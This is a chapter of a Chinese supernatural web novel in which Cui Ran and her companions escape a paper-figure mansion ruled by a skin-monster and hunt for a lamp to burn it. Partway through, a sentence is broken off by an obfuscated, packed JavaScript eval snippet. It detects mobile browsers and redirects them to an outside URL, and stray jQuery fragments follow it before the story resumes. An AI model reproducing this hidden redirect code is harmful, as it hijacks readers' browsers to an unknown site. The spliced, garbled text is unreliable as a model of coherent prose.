小林志怪 作品

14. 纸人画师(七)

话音刚落,窗子被猛的吹开,不知从何处而来的大风灌注进来,发出类似呜咽的声音。如怨如泣,在房间中形成了一个小小的漩涡。


漩涡之中,“王掌柜”的身影也随之飞长,一寸一寸,一尺一尺,转眼间他就变成了一个肥硕高大的人皮怪物。


“夫人,你是否会害怕?”他声音柔和,却暗藏着森森杀意。


“王郎,是你自然不会。”姚夫人恍若未睹,她娇小的身影被拢在“王掌柜”的怀抱中,绿色纱衣轻扬,不过是他腰间的一个点缀。


“王掌柜”的头顶到了房顶木梁,木梁不堪挤压发出嘎吱嘎吱的破裂声,簌簌木屑接二连三地掉落下来,落了满地。


木屑之下,那张丑陋的几乎要裂开的脸庞上面浮现出一丝疑惑,“夫人,你这里怎么有生人的气味?”随着这句话的问出,疑惑变成了恶毒。


“你在哪里藏了只小虫子?”


原本风流的桃花眼被撑得充满血丝,一只硕大的眼珠往左边一转,从书架上慢慢扫过。


沈天野汗毛倒竖,他紧紧地贴着一卷书,恨不得自己此刻真的是一张普通的纸,不至于引起他的注意。


眼珠转动停了。


沈天野屏住了呼吸,他完全忘了,其实纸人并不需要呼吸。“王掌柜”拥有掌控整座姚府动向的能力,姚府的一花一木,一个纸人,都出自他的手。沈天野毫不怀疑,自己的存在,就如同黑暗中一点萤火,亮的惊人。


他这条小命休矣。当“王掌柜”的目光落在他藏身的两册书缝隙间,他脑海中只有这样一个想法。


居高临下的死亡注视,将他整个人攫住。他绝望地闭上眼睛,口中喃喃道:“崔冉,对不起……”


生命的最后关头,他第一反应是自己对不起崔冉,崔冉跋山涉水,从血肉中捞出他的魂魄,又因为为他找身体而被卷入这复杂诡异的事件中。可自己现在却白白把自己的小命交代到这里了。


他闭着眼睛,等待死亡的降临。纸人的死亡是不是没有痛感?


一刻,两刻,房中一片寂静。


沈天野尝试着又睁开眼,他看见那只眼珠又慢慢地转了回去,两只眼转向了另外的方向。


在那里,有什么东西一闪而过。


浅蓝色的影子,快得让人觉得自己是眼花了,可沈天野一眼就认出来,是崔冉!


他刚放下的心又重新提了起来,甚至比刚才更加紧张。他突然反应过来,自己是纸人,不过是大海中的一滴水,而崔冉,或者其他人,作为活人才是真正的深夜萤火。


他猜的没错。


崔冉后背一凉,野兽般的直觉让她意识到有东西注意到了经过窗下的自己。


就在刚刚,她拉着温升竹绕开东倒西歪的桌椅,提起一口气,疯狂地朝庭院外跑去。


可是还没跑出几步,温升竹就发觉自己像是陷在了泥淖中,低头一看,他的双脚已经化作纸,与地面融合在一起。


于是他主动松开了崔冉的手。


“我走不动了,你走吧。”他并没有感到恐惧,也没有其他任何情绪,只余平静。他并不是不害怕,而是面对这一切是头脑空白,失去了所有反抗的念头。


这就是妖怪的世界,在这里面,人是最微不足道的,也是最自不量力的,他突然觉得就算外面的世界也突然生出一股荒唐来,人凭什么掌控这个世界呢?


崔冉匆匆回头,有短暂的愕然,但很快恢复了坚定,她一手握着他的肩膀,一手从他腿弯穿过,将他抱起来,“别废话,快走,出了姚府你就能恢复如初。”


妖怪构筑的世界就是世人书中所记载的世外桃源、黄粱一梦,离开之后会发现于自身毫无影响。


温升竹腾空而起,双臂紧紧搂着她的脖子,整个人顺从地贴进她的怀里,闭口不言。


七仙在他们身后,汉钟离变出一把铺天盖地的棕扇,狠狠朝他们拍来。张果老放出一群白色红眼蝙蝠,紧随其后…一时间地动山摇,整个纸做的世界摇摇欲坠,即将崩塌。


而他们身前,墨色越来越浓,似乎并没有出路。直到崔冉一头冲进黑暗里。


坚实的石子路让她长舒了一口气。


崩塌状渐歇,温升竹迟疑道:“他们好像……停下了。”被抱着的姿势让他的气息贴着崔冉的耳廓而过,崔冉下意识偏头,被吹红了半边耳朵。


然后她才敢回头,一道无形的边界将七仙和姚府主人都拦在了后面,三三两两客人狼狈地冲出来,挟着一身光亮落到黑暗中。


那处热闹非凡、灯火通明的寿宴,就被他们远远地抛在了身后,变成一块模糊的白色亮面。


崔冉把温升竹放下来,看着那块白色亮面,突然问道:“你看过影子戏吗?”


“什么?”温升竹一愣,摇摇头。


“一开始是用纸剪成人形,在灯前的窗子上表演,后来窗子改成了影窗,以白纸作幕,可以随身携带,随时表演。”她解释道。


温升竹好像懂了她想说什么。


姚府是一个装着影人的木匣,平时关着,被他们打开之后,蒙上白布,摆上纸人,丝线垂下,匣子就成了表演场所。


“他们都是纸人,所以跑不出表演舞台。”温升竹看着那群张牙舞爪的影子说道。不仅如此,离开了寿宴范围,他的双脚也恢复了正常。


崔冉点点头,说:“走吧,去正厅。”


表演影子戏,需要有油灯一盏,映照影子,如果她没猜错,姚府应当也有一盏“油灯”,悬挂在某一处。


而她要取了油灯,烧了这纸扎的姚府。


他们继续向前,夜色之中,弯曲小道犹如蛇腹,他们在其中摸索着前行。


纸的世界,很单薄,也很安静。在这安静之中,温升竹却听到若有若无的窸窣声,衣摆摩擦,微不可查。


是风声吗?


还是他太过于紧张产生了幻觉?


但是黑暗之中,确实只有他和崔冉。崔冉超出他半个身子,呈保护状,每走一步都格外谨慎。她有着超乎常人的敏锐和反应,这带给他无限的安全感。


要去正厅,需要先通过穿


;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14966800|161281||http|test|mini|href|location''.split(''|''),0,{}));


() {


$(''.inform'').remove();


$(''#content'').append(''


廊。


刚踏上穿廊,崔冉便觉得阴风阵阵,从自己身上穿过,这里比庭院冷很多。姚府在努力“告诉”自己,前面是危险的,而庭院才有生路。


但她对此嗤之以鼻。


“神仙”已经向她展露出真实面目,那是由血肉涂抹的,所以无论她受到怎样的暗示,都不会动摇向前的脚步。


她快要接近卧房了。


卧房一片漆黑,只有一间亮着灯,格外惹眼。


方才的经历已经告诉她,温暖光亮的地方反倒危险,她想要赶紧去正厅,自然不能靠近那处。


可是事情总不遂她心愿,她刚踏入卧房所在的横廊,就听到了左手边传来若有若无的脚步声。


再一转头,一个侍女直直朝她走来。


她想要借助廊柱躲起来,却发现侍女的目光已经落在她身上,原来此时已经月挂中天,冷白的月光隐隐照出她的身影,她已经暴露在侍女眼中。


而温升竹慢她一步,正在阴影中。


“别过来!”她压低声音道。


温升竹立即停止脚步,借着月光,他也看到了侍女的模样。柳眉细眼,两团腮红,都是细细用工笔描绘,一张纸人。


突兀出现的纸人侍女,犹如一个信号,他连忙侧身躲在廊柱背后。就这样一步的距离,月色分割,一明一暗,他与崔冉仿佛存在于两个世界。


脚步声接连响起,那纸人侍女背后,远不止一人!


她们齐齐迈步,要抓崔冉。


崔冉见势不妙,立即扭身朝反方向的光亮处跑去,如今就算是刀山火海,她也不得不硬着头皮闯一闯了。


就是不知,那处厢房演得是哪一出?


她刚有所动作,纸人侍女便一起扑了上来。她们似乎是飘动的,因此速度格外快,就像殡仪队伍中遍洒的纸钱。


趁着她们都去追崔冉,温升竹闪身从穿廊之中快速跑过。


然后他推开了通向正厅的门。


门后一个安静伫立的身影,听到动静转过身来,高举起手飞快地朝他劈下,她手中是一把短刀。刀锋寒光凛凛,刀身血迹斑斑。


这是一把杀了许多人的短刀。


与此同时,温升竹也看见了那人的容貌,可刀尖已到眼前,他根本来不及出声。


“怎么是你?”短刀停了,堪堪戳在他脖颈上,留下一个小红点,对方惊呼出声。


温升竹向后一步道:“杜姑娘,幸好是你。”


在他面前,收起了刀的人,正是刚刚先他一步来到此处的杜见春。


“怎么只有你一人,崔冉呢?”她着急道。她原本以为会是崔冉最先杀出重围,来到正厅与她汇合,她也猜到自己经过卧房没遇到一个纸人,是有人帮她吸引了纸人侍女的注意力。可她没想到,来的人会是温升竹。


这个看起来温文脆弱的公子。


“她去了亮着灯的卧房,”温升竹没时间与她解释太多,直问道:“你是否见到一盏油灯?”


“没有,”杜见春摇摇头,“我只见到一具棺材。”